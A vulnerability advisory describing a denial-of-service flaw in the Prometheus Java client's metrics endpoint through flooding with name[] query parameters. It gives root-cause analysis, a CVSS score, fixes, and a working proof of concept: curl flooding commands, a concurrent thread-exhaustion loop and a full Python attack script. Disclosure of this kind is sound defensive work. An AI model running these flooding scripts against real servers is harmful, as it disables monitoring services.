Security Report: Denial of Service via Unbounded name[] Query Parameter Flooding in prometheus/client_java
1. Vulnerability Summary
| Field |
Value |
| Product |
prometheus/client_java (Prometheus Java Client Library) |
| Affected Version |
1.8.0 (main branch); all prior versions containing PrometheusHttpRequest with the default getParameterValues() implementation |
| Component |
prometheus-metrics-exporter-common, prometheus-metrics-model |
| Vulnerable Files |
PrometheusHttpRequest.java (lines 50-73), MetricNameFilter.java (lines 43-55) |
| CWE |
CWE-400: Uncontrolled Resource Consumption |
| CVSS 3.1 Score |
7.5 (High) |
| CVSS 3.1 Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Repository |
https://github.com/prometheus/client_java |
| Discoverer |
Security Research |
2. Vulnerability Description
A denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of name[] query parameters accepted by the /metrics endpoint, combined with an O(n) linear-scan filtering algorithm in MetricNameFilter.
An unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of name[] query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unbounded ArrayList growth), excessive CPU (O(n x m) string comparisons where n is the number of name[] parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.
The vulnerability is present in the default getParameterValues() method of the PrometheusHttpRequest interface, which performs no input validation on the query string. It is amplified by the MetricNameFilter.matchesNameEqualTo() method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.
3. Root Cause Analysis
3.1 Unbounded Query Parameter Parsing (Primary Root Cause)
File: prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java
Lines: 50-73
@Override
@Nullable
@SuppressWarnings("JdkObsolete")
default String[] getParameterValues(String name) {
try {
ArrayList<String> result = new ArrayList<>(); // No pre-allocated capacity limit
String queryString = getQueryString();
if (queryString != null) {
String[] pairs = queryString.split("&"); // No limit on split count
for (String pair : pairs) {
int idx = pair.indexOf("=");
if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8")); // Unbounded add
}
}
}
if (result.isEmpty()) {
return null;
} else {
return result.toArray(new String[0]);
}
} catch (UnsupportedEncodingException e) {
throw new RuntimeException(e);
}
}
Three critical deficiencies:
-
No query string length limit. The raw query string from getQueryString() is processed regardless of its size. A multi-megabyte query string is accepted without any check.
-
Unbounded split. queryString.split("&") produces an array with as many elements as there are &-delimited segments. With 100,000 name[] parameters, this creates a 100,000-element String[] array.
-
Unbounded result collection. The ArrayList<String> result grows without limit. Every matching name[] parameter value is added with result.add(). There is no cap on the number of values collected.
3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)
File: prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java
Lines: 43-55
private boolean matchesNameEqualTo(String metricName) {
if (nameIsEqualTo.isEmpty()) {
return true;
}
for (String name : nameIsEqualTo) {
// The following ignores suffixes like _total.
// "request_count" and "request_count_total" both match a metric named "request_count".
if (name.startsWith(metricName)) {
return true;
}
}
return false;
}
The nameIsEqualTo collection is backed by an ArrayList (see constructor, line 29). For each registered metric, matchesNameEqualTo() iterates over every entry in this list, performing a String.startsWith() comparison. The time complexity is O(n) per metric, where n is the number of name[] parameter values.
3.3 O(n x m) Amplification in Registry Scrape
File: prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.java
Lines: 451-509
When scraping with a filter, PrometheusRegistry.scrape(Predicate<String>, PrometheusScrapeRequest) calls includedNames.test(prometheusName) for each registered collector. Each call to test() triggers the O(n) linear scan in MetricNameFilter.matchesNameEqualTo().
With n = 100,000 name[] parameters and m = 1,000 registered metrics, a single HTTP request produces:
- 100,000,000 (100 million)
String.startsWith() comparisons
- Each comparison involves character-by-character comparison of the metric name prefix
3.4 Thread Pool Exhaustion (Cascading Failure)
File: prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java
Lines: 339-347
private ExecutorService makeExecutorService() {
if (executorService != null) {
return executorService;
} else {
return new ThreadPoolExecutor(
1, // core pool size
10, // maximum pool size
120, // keep-alive time
TimeUnit.SECONDS,
new SynchronousQueue<>(true),
NamedDaemonThreadFactory.defaultThreadFactory(true),
new BlockingRejectedExecutionHandler()); // BLOCKS on rejection
}
}
The default thread pool has a maximum of 10 threads and uses a SynchronousQueue with a BlockingRejectedExecutionHandler that blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:
- Occupy all 10 threads with long-running parameter processing
- Block any subsequent requests in the
BlockingRejectedExecutionHandler.rejectedExecution() method
- Cause legitimate Prometheus scrape requests to time out
3.5 Data Flow
Attacker HTTP Request (?name[]=a_0&name[]=a_1&...&name[]=a_99999)
|
v
PrometheusHttpRequest.getParameterValues("name[]")
- queryString.split("&") --> 100,000 element String[]
- URLDecoder.decode() x 200,000 (key + value per pair)
- ArrayList grows to 100,000 entries
- Returns String[100000]
|
v
PrometheusScrapeHandler.scrape()
- MetricNameFilter.builder().nameMustBeEqualTo(String[100000]).build()
- nameIsEqualTo = ArrayList<String> of size 100,000
|
v
PrometheusRegistry.scrape(filter, request)
- For each of m registered metrics:
- filter.test(metricName)
- matchesNameEqualTo() iterates all 100,000 entries
- String.startsWith() comparison each time
= Total: 100,000 x m comparisons
|
v
Thread blocked for seconds to minutes
4. CVSS 3.1 Detailed Breakdown
| Metric |
Value |
Justification |
| Attack Vector (AV) |
Network (N) |
The /metrics endpoint is network-accessible. The HTTPServer binds to a network socket by default. |
| Attack Complexity (AC) |
Low (L) |
No special conditions required. The attacker simply sends an HTTP GET request with crafted query parameters. |
| Privileges Required (PR) |
None (N) |
The HTTPServer does not require authentication by default. The Authenticator is optional and null unless configured. |
| User Interaction (UI) |
None (N) |
No user interaction needed. The attacker sends requests directly to the endpoint. |
| Scope (S) |
Unchanged (U) |
Impact is limited to the metrics exporter component. Other application functionality may be indirectly affected only if sharing the same JVM resources. |
| Confidentiality (C) |
None (N) |
No information is disclosed. |
| Integrity (I) |
None (N) |
No data is modified. |
| Availability (A) |
High (H) |
Memory exhaustion, CPU exhaustion, and thread pool starvation cause complete denial of the metrics service. Legitimate Prometheus scrapes are blocked. |
CVSS 3.1 Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1 Base Score: 7.5 (High)
5. Proof of Concept
5.1 Prerequisites
- A Java application using
prometheus-metrics-exporter-httpserver with the built-in HTTPServer
- The application has at least one registered metric (typical production applications have hundreds or thousands)
- Network access to the metrics HTTP port (default: 9400 or user-configured)
5.2 Minimal Vulnerable Application
import io.prometheus.metrics.core.metrics.Counter;
import io.prometheus.metrics.core.metrics.Histogram;
import io.prometheus.metrics.exporter.httpserver.HTTPServer;
public class VulnerableMetricsApp {
public static void main(String[] args) throws Exception {
// Register some metrics (typical applications have hundreds)
for (int i = 0; i < 1000; i++) {
Counter.builder()
.name("app_counter_" + i)
.help("Counter " + i)
.register();
}
HTTPServer server = HTTPServer.builder()
.port(9400)
.buildAndStart();
System.out.println("Metrics server started on port " + server.getPort());
Thread.currentThread().join();
}
}
5.3 Reproduction Steps
Step 1: Basic parameter flooding -- single request.
# Generate a URL with 100,000 name[] parameters
PARAMS=$(python3 -c "print('&'.join(['name[]=metric_' + str(i) for i in range(100000)]))")
# Send a single flooding request (this alone causes significant CPU/memory usage)
time curl -s -o /dev/null -w "%{http_code}" "http://target:9400/metrics?${PARAMS}"
Expected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.
Step 2: Thread pool exhaustion -- 10 concurrent connections.
# Saturate all 10 threads in the default pool
for i in $(seq 1 10); do
curl -s -o /dev/null "http://target:9400/metrics?${PARAMS}" &
done
# Wait a moment, then attempt a legitimate scrape
sleep 2
time curl -s -o /dev/null -w "%{http_code}" "http://target:9400/metrics"
# This request will hang indefinitely (blocked in BlockingRejectedExecutionHandler)
Expected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the BlockingRejectedExecutionHandler blocks the caller rather than rejecting.
Step 3: Verify Prometheus scrape disruption.
While the flooding requests are in progress, a Prometheus server configured to scrape this target will report:
level=warn msg="Error on ingesting samples that are too old or are too far into the future"
level=error msg="Scrape failed" target="http://target:9400/metrics" err="context deadline exceeded"
5.4 Full PoC Script
#!/usr/bin/env python3
"""
PoC: Denial of Service via Unbounded name[] Query Parameter Flooding
Target: prometheus/client_java HTTPServer metrics endpoint
Demonstrates three attack vectors:
1. Memory exhaustion via large ArrayList allocation
2. CPU exhaustion via O(n*m) linear scan in MetricNameFilter
3. Thread pool starvation with 10 concurrent flooding requests
Usage:
python3 dos_name_param_flooding.py --target http://localhost:9400 --count 100000
"""
import argparse
import concurrent.futures
import sys
import time
import urllib.request
import urllib.error
def build_flooding_url(base_url, param_count):
"""Build a URL with param_count name[] query parameters."""
params = "&".join(f"name[]=metric_{i}" for i in range(param_count))
return f"{base_url}/metrics?{params}"
def send_flooding_request(url, request_id):
"""Send a single flooding request and measure duration."""
start = time.monotonic()
try:
req = urllib.request.Request(url, method="GET")
with urllib.request.urlopen(req, timeout=300) as resp:
_ = resp.read()
elapsed = time.monotonic() - start
return request_id, resp.status, elapsed, None
except urllib.error.URLError as e:
elapsed = time.monotonic() - start
return request_id, None, elapsed, str(e)
except Exception as e:
elapsed = time.monotonic() - start
return request_id, None, elapsed, str(e)
def send_legitimate_scrape(base_url, timeout=10):
"""Send a normal /metrics scrape and measure response time."""
url = f"{base_url}/metrics"
start = time.monotonic()
try:
req = urllib.request.Request(url, method="GET")
with urllib.request.urlopen(req, timeout=timeout) as resp:
_ = resp.read()
elapsed = time.monotonic() - start
return resp.status, elapsed, None
except Exception as e:
elapsed = time.monotonic() - start
return None, elapsed, str(e)
def main():
parser = argparse.ArgumentParser(
description="PoC: DoS via name[] parameter flooding against prometheus/client_java"
)
parser.add_argument(
"--target",
default="http://localhost:9400",
help="Base URL of the Prometheus metrics endpoint (default: http://localhost:9400)",
)
parser.add_argument(
"--count",
type=int,
default=100000,
help="Number of name[] parameters per request (default: 100000)",
)
parser.add_argument(
"--threads",
type=int,
default=10,
help="Number of concurrent flooding requests (default: 10, matching default pool size)",
)
args = parser.parse_args()
print("=" * 72)
print("PoC: Denial of Service via Unbounded name[] Query Parameter Flooding")
print(f"Target: {args.target}")
print(f"Parameters per request: {args.count:,}")
print(f"Concurrent flooding threads: {args.threads}")
print("=" * 72)
# Phase 1: Baseline -- measure normal scrape time
print("\n[Phase 1] Baseline: Measuring normal scrape response time...")
status, elapsed, error = send_legitimate_scrape(args.target, timeout=30)
if error:
print(f" ERROR: Could not reach target: {error}")
print(" Ensure the target application is running and accessible.")
sys.exit(1)
print(f" Normal scrape: status={status}, time={elapsed:.3f}s")
baseline_time = elapsed
# Phase 2: Single flooding request -- measure CPU/memory impact
print(f"\n[Phase 2] Single flooding request with {args.count:,} name[] parameters...")
flooding_url = build_flooding_url(args.target, args.count)
print(f" URL length: {len(flooding_url):,} bytes")
print(f" Estimated server-side ArrayList size: {args.count:,} entries")
print(f" Sending request...")
_, status, elapsed, error = send_flooding_request(flooding_url, 0)
if error:
print(f" Request failed after {elapsed:.3f}s: {error}")
else:
print(f" Response: status={status}, time={elapsed:.3f}s")
print(f" Slowdown factor vs baseline: {elapsed / max(baseline_time, 0.001):.1f}x")
# Phase 3: Thread pool exhaustion -- concurrent flooding
print(f"\n[Phase 3] Thread pool exhaustion: {args.threads} concurrent flooding requests...")
print(f" Default HTTPServer pool size: 10 threads (max)")
print(f" Sending {args.threads} concurrent requests to saturate the pool...")
futures = []
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
# Launch flooding requests
flood_start = time.monotonic()
for i in range(args.threads):
futures.append(executor.submit(send_flooding_request, flooding_url, i))
# Wait briefly for flooding requests to engage server threads
time.sleep(2)
# Attempt a legitimate scrape while flooding is in progress
print(f"\n[Phase 4] Attempting legitimate scrape during flooding attack...")
scrape_future = executor.submit(send_legitimate_scrape, args.target, 15)
try:
status, elapsed, error = scrape_future.result(timeout=20)
if error:
print(f" CONFIRMED: Legitimate scrape FAILED: {error}")
print(f" Time waited: {elapsed:.3f}s")
print(f" The metrics endpoint is unresponsive -- DoS achieved.")
elif elapsed > baseline_time * 10:
print(f" DEGRADED: Legitimate scrape succeeded but took {elapsed:.3f}s")
print(f" Slowdown: {elapsed / max(baseline_time, 0.001):.1f}x vs baseline")
print(f" Prometheus scrape_timeout (default 10s) would be exceeded.")
else:
print(f" Legitimate scrape succeeded: status={status}, time={elapsed:.3f}s")
except concurrent.futures.TimeoutError:
print(f" CONFIRMED: Legitimate scrape TIMED OUT after 20s")
print(f" All server threads are blocked -- complete DoS achieved.")
# Collect flooding results
print(f"\n[Phase 5] Flooding request results:")
for future in concurrent.futures.as_completed(futures, timeout=300):
req_id, status, elapsed, error = future.result()
if error:
print(f" Request {req_id}: FAILED after {elapsed:.3f}s -- {error}")
else:
print(f" Request {req_id}: status={status}, time={elapsed:.3f}s")
# Summary
print("\n" + "=" * 72)
print("SUMMARY")
print("=" * 72)
print(f" Attack parameters:")
print(f" name[] count per request: {args.count:,}")
print(f" Concurrent connections: {args.threads}")
print(f" URL size per request: {len(flooding_url):,} bytes")
print(f" Resource consumption per request (server-side):")
print(f" ArrayList entries: {args.count:,}")
print(f" String.split() elements: {args.count:,}")
print(f" URLDecoder.decode() calls: {args.count * 2:,}")
print(f" With 1,000 registered metrics:")
print(f" String.startsWith() comparisons: {args.count * 1000:,}")
print(f" Thread pool capacity: 10 (default)")
print(f" Threads occupied by attack: {args.threads}")
print(f" Threads remaining for legitimate scrapes: {max(0, 10 - args.threads)}")
if __name__ == "__main__":
main()
5.5 Bash One-Liner for Quick Verification
# Quick DoS verification -- generate 50,000 parameters and observe response time
python3 -c "print('&'.join(['name[]=m_'+str(i) for i in range(50000)]))" | \
xargs -I{} time curl -s -o /dev/null -w "HTTP %{http_code}\n" "http://localhost:9400/metrics?{}"
6. Impact Analysis
6.1 Memory Exhaustion
Each flooding request causes the following allocations on the server:
| Allocation |
Size with 100K parameters |
queryString.split("&") array |
100,000 String references |
URLDecoder.decode() results |
200,000 decoded String objects (key + value per pair) |
ArrayList<String> result |
100,000 entries + dynamic resizing overhead |
result.toArray(new String[0]) |
100,000-element String[] copy |
MetricNameFilter.nameIsEqualTo |
100,000-element ArrayList copy |
With average parameter values of 20 characters, a single request allocates approximately:
- 100,000 x (40 bytes object header + 20 chars x 2 bytes) = ~8 MB for the split array values
- 100,000 x 80 bytes = ~8 MB for the decoded key strings
- 100,000 x 80 bytes = ~8 MB for the decoded value strings
- Multiple
ArrayList copies and array conversions
Total per request: approximately 30-50 MB of heap allocation. With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or OutOfMemoryError in constrained environments.
6.2 CPU Exhaustion
The MetricNameFilter.matchesNameEqualTo() method performs a linear scan:
Time complexity per metric: O(n) where n = number of name[] parameters
Time complexity per scrape: O(n * m) where m = number of registered metrics
| name[] count (n) |
Registered metrics (m) |
String.startsWith() calls |
Estimated time |
| 1,000 |
100 |
100,000 |
~10 ms |
| 10,000 |
100 |
1,000,000 |
~100 ms |
| 100,000 |
100 |
10,000,000 |
~1-2 s |
| 100,000 |
1,000 |
100,000,000 |
~10-30 s |
| 100,000 |
10,000 |
1,000,000,000 |
~minutes |
6.3 Thread Pool Starvation
The default HTTPServer thread pool configuration is:
new ThreadPoolExecutor(
1, // corePoolSize
10, // maximumPoolSize
120, // keepAliveTime
TimeUnit.SECONDS,
new SynchronousQueue<>(true),
NamedDaemonThreadFactory.defaultThreadFactory(true),
new BlockingRejectedExecutionHandler() // Blocks on rejection
);
Key characteristics:
- Maximum 10 threads. The pool cannot grow beyond 10 worker threads.
SynchronousQueue. This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.
BlockingRejectedExecutionHandler. When all 10 threads are busy, instead of rejecting the request, this handler blocks the caller by calling threadPoolExecutor.getQueue().put(runnable), which blocks indefinitely on the SynchronousQueue until a thread becomes available.
This means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.
6.4 Unauthenticated Access
The HTTPServer does not require authentication by default. The Authenticator is an optional builder parameter that defaults to null:
@Nullable private Authenticator authenticator = null;
Most deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.
6.5 Impact on Monitoring Infrastructure
When the metrics endpoint becomes unresponsive:
- Prometheus scrape failures. Prometheus records
up{job="target"} = 0, triggering alerts for target health.
- Monitoring blind spot. No metrics are collected during the attack, creating gaps in dashboards and alerting.
- Cascading alerts. Alert rules that depend on metrics from the affected target may fire spuriously or fail to fire for genuine issues.
- SLA violations. If metrics availability is part of service-level objectives, the DoS directly impacts SLA compliance.
7. Affected Modules and Scope
Directly Affected
| Module |
File |
Role |
prometheus-metrics-exporter-common |
PrometheusHttpRequest.java |
Unbounded query parameter parsing (default getParameterValues() method) |
prometheus-metrics-model |
MetricNameFilter.java |
O(n) linear scan over nameIsEqualTo collection |
prometheus-metrics-exporter-httpserver |
HTTPServer.java |
Limited 10-thread pool with blocking rejection handler |
Indirectly Affected
| Module |
Reason |
prometheus-metrics-exporter-servlet-jakarta |
Uses servlet container's getParameterValues() instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits. |
prometheus-metrics-exporter-servlet-javax |
Same as above. |
The vulnerability is most severe with the standalone HTTPServer because of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.
8. Remediation
8.1 Input Validation in PrometheusHttpRequest.getParameterValues()
Add maximum limits on the number of query parameters and total query string length.
default String[] getParameterValues(String name) {
try {
String queryString = getQueryString();
if (queryString == null) {
return null;
}
// Limit 1: Maximum query string length (64 KB)
if (queryString.length() > 65536) {
throw new IllegalArgumentException(
"Query string too long: " + queryString.length() + " bytes (max 65536)");
}
ArrayList<String> result = new ArrayList<>();
String[] pairs = queryString.split("&");
// Limit 2: Maximum number of parameters
if (pairs.length > 1024) {
throw new IllegalArgumentException(
"Too many query parameters: " + pairs.length + " (max 1024)");
}
for (String pair : pairs) {
int idx = pair.indexOf("=");
if (idx != -1 && URLDecoder.decode(pair.substring(0, idx), "UTF-8").equals(name)) {
result.add(URLDecoder.decode(pair.substring(idx + 1), "UTF-8"));
}
}
if (result.isEmpty()) {
return null;
} else {
return result.toArray(new String[0]);
}
} catch (UnsupportedEncodingException e) {
throw new RuntimeException(e);
}
}
The IllegalArgumentException should be caught in PrometheusScrapeHandler.handleRequest() and translated to an HTTP 400 (Bad Request) response.
8.2 Use HashSet for O(1) Lookups in MetricNameFilter
Replace the ArrayList-backed linear scan with a HashSet for exact equality checks, reducing per-metric lookup cost from O(n) to O(1).
// Before (O(n) per metric):
private boolean matchesNameEqualTo(String metricName) {
if (nameIsEqualTo.isEmpty()) {
return true;
}
for (String name : nameIsEqualTo) {
if (name.startsWith(metricName)) {
return true;
}
}
return false;
}
// After (O(1) average for exact matches, O(n) worst case for prefix matching):
// Use a HashSet for the common exact-match case, with a fallback for prefix matching.
Note: The current implementation uses name.startsWith(metricName) (checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching both request_count and request_count_total). This complicates a pure HashSet replacement but can be optimized with a trie or by normalizing metric names.
8.3 Return HTTP 400 for Excessive Parameters
In PrometheusScrapeHandler.handleRequest(), catch validation exceptions from parameter parsing and return HTTP 400:
public void handleRequest(PrometheusHttpExchange exchange) throws IOException {
try {
PrometheusHttpRequest request = exchange.getRequest();
MetricSnapshots snapshots = scrape(request);
// ... normal processing
} catch (IllegalArgumentException e) {
// Input validation failure (e.g., too many name[] parameters)
PrometheusHttpResponse response = exchange.getResponse();
byte[] message = e.getMessage().getBytes(StandardCharsets.UTF_8);
response.setHeader("Content-Type", "text/plain; charset=utf-8");
try (OutputStream out = response.sendHeadersAndGetBody(400, message.length)) {
out.write(message);
}
} catch (IOException e) {
exchange.handleException(e);
} catch (RuntimeException e) {
exchange.handleException(e);
} finally {
exchange.close();
}
}
8.4 Defense in Depth: Request Timeout
Configure sun.net.httpserver.maxReqTime to a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set in HTTPServer.java line 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.
8.5 Workaround
There is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:
- Reverse proxy with query string length limits. Place nginx, HAProxy, or a similar reverse proxy in front of the metrics endpoint, configured to reject requests with excessively long query strings or too many parameters.
- Network-level access control. Restrict access to the metrics port to only the Prometheus server's IP address using firewall rules or network policies.
- Custom
ExecutorService. Use the HTTPServer.Builder.executorService() method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).
9. References
-
CWE-400: Uncontrolled Resource Consumption: https://cwe.mitre.org/data/definitions/400.html
-
Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java
-
Vulnerable Source Files:
prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.java (lines 50-73)
prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.java (lines 43-55)
prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java (lines 339-347)
-
OWASP: Denial of Service: https://owasp.org/www-community/attacks/Denial_of_Service
-
Java API: ThreadPoolExecutor: https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ThreadPoolExecutor.html
-
Prometheus Scrape Configuration -- params field: https://prometheus.io/docs/prometheus/latest/configuration/configuration/#scrape_config
Reported by: Security Research Team
Date: 2026-06-24
Severity: High (CVSS 7.5)
CWE: CWE-400 (Uncontrolled Resource Consumption)
Status: Unpatched (as of version 1.8.0)
Security Report: Denial of Service via Unbounded
name[]Query Parameter Flooding in prometheus/client_java1. Vulnerability Summary
PrometheusHttpRequestwith the defaultgetParameterValues()implementationprometheus-metrics-exporter-common,prometheus-metrics-modelPrometheusHttpRequest.java(lines 50-73),MetricNameFilter.java(lines 43-55)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H2. Vulnerability Description
A denial-of-service (DoS) vulnerability exists in the Prometheus Java client library's HTTP metrics exporter. The vulnerability arises from the absence of any limits on the number or total size of
name[]query parameters accepted by the/metricsendpoint, combined with an O(n) linear-scan filtering algorithm inMetricNameFilter.An unauthenticated remote attacker can send a single HTTP request containing an arbitrarily large number of
name[]query parameters to the metrics endpoint. The server-side processing of this request consumes excessive memory (unboundedArrayListgrowth), excessive CPU (O(n x m) string comparisons where n is the number ofname[]parameters and m is the number of registered metrics), and can exhaust the limited thread pool, blocking all legitimate Prometheus scrape requests.The vulnerability is present in the default
getParameterValues()method of thePrometheusHttpRequestinterface, which performs no input validation on the query string. It is amplified by theMetricNameFilter.matchesNameEqualTo()method, which iterates over the entire list of supplied names for each registered metric using linear string prefix comparisons.3. Root Cause Analysis
3.1 Unbounded Query Parameter Parsing (Primary Root Cause)
File:
prometheus-metrics-exporter-common/src/main/java/io/prometheus/metrics/exporter/common/PrometheusHttpRequest.javaLines: 50-73
Three critical deficiencies:
No query string length limit. The raw query string from
getQueryString()is processed regardless of its size. A multi-megabyte query string is accepted without any check.Unbounded split.
queryString.split("&")produces an array with as many elements as there are&-delimited segments. With 100,000name[]parameters, this creates a 100,000-elementString[]array.Unbounded result collection. The
ArrayList<String> resultgrows without limit. Every matchingname[]parameter value is added withresult.add(). There is no cap on the number of values collected.3.2 O(n) Linear Scan in MetricNameFilter (Amplifying Factor)
File:
prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/MetricNameFilter.javaLines: 43-55
The
nameIsEqualTocollection is backed by anArrayList(see constructor, line 29). For each registered metric,matchesNameEqualTo()iterates over every entry in this list, performing aString.startsWith()comparison. The time complexity is O(n) per metric, where n is the number ofname[]parameter values.3.3 O(n x m) Amplification in Registry Scrape
File:
prometheus-metrics-model/src/main/java/io/prometheus/metrics/model/registry/PrometheusRegistry.javaLines: 451-509
When scraping with a filter,
PrometheusRegistry.scrape(Predicate<String>, PrometheusScrapeRequest)callsincludedNames.test(prometheusName)for each registered collector. Each call totest()triggers the O(n) linear scan inMetricNameFilter.matchesNameEqualTo().With n = 100,000
name[]parameters and m = 1,000 registered metrics, a single HTTP request produces:String.startsWith()comparisons3.4 Thread Pool Exhaustion (Cascading Failure)
File:
prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.javaLines: 339-347
The default thread pool has a maximum of 10 threads and uses a
SynchronousQueuewith aBlockingRejectedExecutionHandlerthat blocks the caller when all threads are busy. An attacker sending 10 concurrent flooding requests will:BlockingRejectedExecutionHandler.rejectedExecution()method3.5 Data Flow
4. CVSS 3.1 Detailed Breakdown
/metricsendpoint is network-accessible. TheHTTPServerbinds to a network socket by default.HTTPServerdoes not require authentication by default. TheAuthenticatoris optional and null unless configured.CVSS 3.1 Vector String:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HCVSS 3.1 Base Score: 7.5 (High)
5. Proof of Concept
5.1 Prerequisites
prometheus-metrics-exporter-httpserverwith the built-inHTTPServer5.2 Minimal Vulnerable Application
5.3 Reproduction Steps
Step 1: Basic parameter flooding -- single request.
Expected behavior: The request takes several seconds to minutes to complete. During this time, one thread is fully occupied.
Step 2: Thread pool exhaustion -- 10 concurrent connections.
Expected behavior: The legitimate scrape request hangs because all 10 threads are occupied and the
BlockingRejectedExecutionHandlerblocks the caller rather than rejecting.Step 3: Verify Prometheus scrape disruption.
While the flooding requests are in progress, a Prometheus server configured to scrape this target will report:
5.4 Full PoC Script
5.5 Bash One-Liner for Quick Verification
6. Impact Analysis
6.1 Memory Exhaustion
Each flooding request causes the following allocations on the server:
queryString.split("&")arrayStringreferencesURLDecoder.decode()resultsStringobjects (key + value per pair)ArrayList<String> resultresult.toArray(new String[0])String[]copyMetricNameFilter.nameIsEqualToArrayListcopyWith average parameter values of 20 characters, a single request allocates approximately:
ArrayListcopies and array conversionsTotal per request: approximately 30-50 MB of heap allocation. With 10 concurrent flooding requests, this reaches 300-500 MB, which can trigger garbage collection pressure or
OutOfMemoryErrorin constrained environments.6.2 CPU Exhaustion
The
MetricNameFilter.matchesNameEqualTo()method performs a linear scan:String.startsWith()calls6.3 Thread Pool Starvation
The default
HTTPServerthread pool configuration is:Key characteristics:
SynchronousQueue. This queue has zero capacity. Each new task must be immediately handed off to a thread. If no thread is available, the rejection handler is invoked.BlockingRejectedExecutionHandler. When all 10 threads are busy, instead of rejecting the request, this handler blocks the caller by callingthreadPoolExecutor.getQueue().put(runnable), which blocks indefinitely on theSynchronousQueueuntil a thread becomes available.This means that an attacker who occupies all 10 threads with long-running flooding requests will cause every subsequent legitimate request to block indefinitely in the rejection handler. The Prometheus server's scrape timeout (default 10 seconds) will be exceeded, and the metrics endpoint becomes completely unavailable.
6.4 Unauthenticated Access
The
HTTPServerdoes not require authentication by default. TheAuthenticatoris an optional builder parameter that defaults tonull:Most deployments do not configure authentication on the metrics endpoint, as Prometheus scraping assumes direct, trusted network access. This means any network-reachable attacker can launch the flooding attack without credentials.
6.5 Impact on Monitoring Infrastructure
When the metrics endpoint becomes unresponsive:
up{job="target"} = 0, triggering alerts for target health.7. Affected Modules and Scope
Directly Affected
prometheus-metrics-exporter-commonPrometheusHttpRequest.javagetParameterValues()method)prometheus-metrics-modelMetricNameFilter.javanameIsEqualTocollectionprometheus-metrics-exporter-httpserverHTTPServer.javaIndirectly Affected
prometheus-metrics-exporter-servlet-jakartagetParameterValues()instead of the vulnerable default method. May still be affected if the servlet container does not impose its own limits.prometheus-metrics-exporter-servlet-javaxThe vulnerability is most severe with the standalone
HTTPServerbecause of the small, fixed thread pool. Servlet containers typically have larger thread pools and may impose their own query string length limits, partially mitigating the attack.8. Remediation
8.1 Input Validation in
PrometheusHttpRequest.getParameterValues()Add maximum limits on the number of query parameters and total query string length.
The
IllegalArgumentExceptionshould be caught inPrometheusScrapeHandler.handleRequest()and translated to an HTTP 400 (Bad Request) response.8.2 Use HashSet for O(1) Lookups in MetricNameFilter
Replace the
ArrayList-backed linear scan with aHashSetfor exact equality checks, reducing per-metric lookup cost from O(n) to O(1).Note: The current implementation uses
name.startsWith(metricName)(checking if the filter name starts with the metric name) to support suffix-agnostic matching (e.g., matching bothrequest_countandrequest_count_total). This complicates a pureHashSetreplacement but can be optimized with a trie or by normalizing metric names.8.3 Return HTTP 400 for Excessive Parameters
In
PrometheusScrapeHandler.handleRequest(), catch validation exceptions from parameter parsing and return HTTP 400:8.4 Defense in Depth: Request Timeout
Configure
sun.net.httpserver.maxReqTimeto a lower value to limit how long the server spends processing a single request. The current default is 60 seconds (set inHTTPServer.javaline 43-44), which is generous for an attack scenario. Consider reducing to 15-30 seconds.8.5 Workaround
There is no configuration-level workaround available to users of the library. Possible mitigations without code changes include:
ExecutorService. Use theHTTPServer.Builder.executorService()method to supply a larger thread pool, raising the bar for thread exhaustion attacks (but not eliminating the vulnerability).9. References
CWE-400: Uncontrolled Resource Consumption: https://cwe.mitre.org/data/definitions/400.html
Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java
Vulnerable Source Files:
